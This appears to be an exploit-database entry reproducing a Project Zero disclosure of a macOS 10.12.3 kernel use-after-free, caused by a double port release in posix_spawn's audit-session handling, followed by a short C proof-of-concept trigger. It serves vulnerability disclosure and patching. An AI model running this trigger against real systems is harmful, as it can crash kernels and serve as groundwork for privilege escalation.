Apple macOS Kernel 10.12.3 (16D32) - Use-After-Free Due to Double-Release in posix_spawn

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1104

exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.

It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)

For the special, exception and audit ports it tries to update the new task to reflect the port action
by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
any of those calls fail it calls ipc_port_release_send(port).

task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
an audit session port.

This means we can cause two references to be dropped on the port when only one is held leading to a
use after free in the kernel.

Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
*/

// ianbeer
#if 0
MacOS/iOS kernel uaf due to double-release in posix_spawn

exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.

It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)

For the special, exception and audit ports it tries to update the new task to reflect the port action
by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
any of those calls fail it calls ipc_port_release_send(port).

task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
an audit session port.

This means we can cause two references to be dropped on the port when only one is held leading to a
use after free in the kernel.

Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
#endif

#include <stdio.h>
#include <stdlib.h>
#include <spawn.h>

#include <mach/mach.h>

int main() {

  mach_port_t p = MACH_PORT_NULL;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
  mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);

  posix_spawnattr_t attrs;
  posix_spawnattr_init(&attrs);
  posix_spawnattr_setauditsessionport_np(&attrs,p);

  char* _argv[] = {"/usr/bin/id", NULL};
  int child_pid = 0;
  int spawn_err = posix_spawn(&child_pid,
                              "/usr/bin/id",
                              NULL, // file actions
                              &attrs,
                              _argv,
                              NULL);
}